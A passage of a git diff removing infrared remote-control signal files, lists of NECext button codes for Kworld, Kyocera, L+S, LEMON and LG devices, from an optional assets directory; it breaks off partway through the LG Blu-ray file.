NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: min -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: timeshift -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: snap -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: shut_down -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: scan_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: scan_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: chapter_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: chapter_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: fun1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: fun2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: fun3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: fun4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir deleted file mode 100644 index 8f220d31b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: numpad_up -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: numpad_enter -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: min -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: timeshift -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: snap -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: shut_down -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: scan_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: scan_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: chapter_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: chapter_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: fun1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: fun2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: fun3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: fun4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir deleted file mode 100644 index 3782caa7f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: kw -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: screen-ratio -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: time-shift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: minimize -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 21 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 22 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 23 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 41 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir deleted file mode 100644 index 17544528b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 19 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1B 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1C 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1D 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1E 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1F 00 00 00 -# -name: C/AC -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4C 00 00 00 -# -name: REMAIN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4D 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir deleted file mode 100644 index fa9cc4433..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: txt-clr -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: txt-large -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: txt-hold -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir deleted file mode 100644 index 79b29305e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tune_down -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 04 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 05 00 00 00 -# -name: scan_up -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 06 00 00 00 -# -name: tune_up -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 0C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 13 00 00 00 -# -name: mem_prog -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 14 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 1B 00 00 00 -# -name: mem_up -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 60 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: A0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir deleted file mode 100644 index 9704f7a66..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: tone -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: vtx -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir deleted file mode 100644 index 0448a95ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir +++ /dev/null @@ -1,542 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: SCAN<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN_BACK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: TR_SCAN_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: TR_SCAN_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TRACK_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TR_SKIP_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: TRACK_BACK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: TR_SKIP_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: INFO/DISPLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 46 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: TITLE/POPUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: TITLE/POP_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: TITLE/PUPUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 53 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 2D 2D 